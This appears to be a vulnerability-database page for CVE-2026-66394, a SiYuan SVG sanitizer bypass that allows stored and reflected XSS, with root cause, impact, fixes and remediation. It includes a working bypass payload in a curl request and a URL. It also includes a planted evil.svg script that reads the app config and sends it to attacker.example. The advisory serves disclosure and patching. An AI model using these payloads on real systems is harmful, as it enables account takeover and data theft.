CVE-2026-66394 — SiYuan: Stored and reflected XSS in...
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.47%). Schedule for your next planned update.
Does your project use an affected github.com/siyuan-note/siyuan/kernel version?
Paste your go.sum to check it for CVE-2026-66394 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.
The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.
The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:
- Reflected, through a single link:
GET /api/icon/getDynamicIcon - Stored, through a planted
.svgasset:GET /assets/<name>.svg
I confirmed this on a live SiYuan 3.7.2 kernel.
Root cause
util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.
The gap comes from HTML parsing rules that do not exist in XML:
<desc>and<title>are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops<foreignObject>but keeps<desc>and<title>.- Inside HTML mode,
<style>,<xmp>and<noscript>are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a<script>placed inside them, and the render step writes it back exactly as it was. - When the browser reads the same bytes as XML (SVG), there is no raw text rule.
<style>becomes a normal container and the hidden<script>becomes a real, working SVG script node.
I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg> (removed)
IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)
Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:
kernel/server/serve.go:703serveSVGserves an asset inline asimage/svg+xml.kernel/api/icon.go:158getDynamicIcon. Fortype=8thecontentquery value is put straight into the SVG template aticon.go:583with no escaping, then cleaned, then served asimage/svg+xml.
Attack vector 1: reflected (one link)
The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:
<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>
Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:
http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
Attack vector 2: stored (planted asset)
Place this file as data/assets/evil.svg:
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
.then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>
Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.
Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.
Impact
- A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
- Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
- The default
AllowSVGScript=falseexists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.
Suggested fix
- Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop
<desc>,<title>and<foreignObject>and any raw text smuggled markup. - Serve user SVG with
Content-Disposition: attachmentand a non running content type, and add a strictscript-srcCSP on/assets/*and/api/icon/getDynamicIcon. - Escape the reflected
contentvalue ingetDynamicIconbefore it goes into the template.
Advisory Timeline
- First published September 3, 2026 (84 days ago).
- Last revised September 10, 2026 — 7 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260714095344-f08dee71ba8e
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/siyuan-note/siyuan/kernel Go · Affected: All versions | 0.0.0-20260714095344-f08dee71ba8e |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
References
Frequently Asked Questions
- What is CVE-2026-66394?
- SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
- How do I check if my project is affected by CVE-2026-66394?
- CVE-2026-66394 affects github.com/siyuan-note/siyuan/kernel. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-66394 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 33% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-50551CRITICAL
SiYuan: Stored XSS to RCE via Unsanitized Attribute View Asset Cell Content
- CVE-2026-54158CRITICAL
SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()
- CVE-2026-29183CRITICAL
SiYuan: Unauthenticated Reflected XSS via SVG Injection in /api/icon/getDynamicIcon Endpoint
- CVE-2026-34449CRITICAL
SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection
- CVE-2026-68587HIGH
SiYuan: Full-content disclosure of publish-disabled documents via getHeading*Transaction endpoints (publish mode): reader-reachable rendered DOM with no publish-access check
- CVE-2026-68584HIGH
SiYuan: Anonymous publish-password authentication bypass via getHeadingChildrenDOM / getHeading*Transaction / getBacklinkDoc (publish mode)
- CVE-2026-73608HIGH
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
- CVE-2026-31807MEDIUM
SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS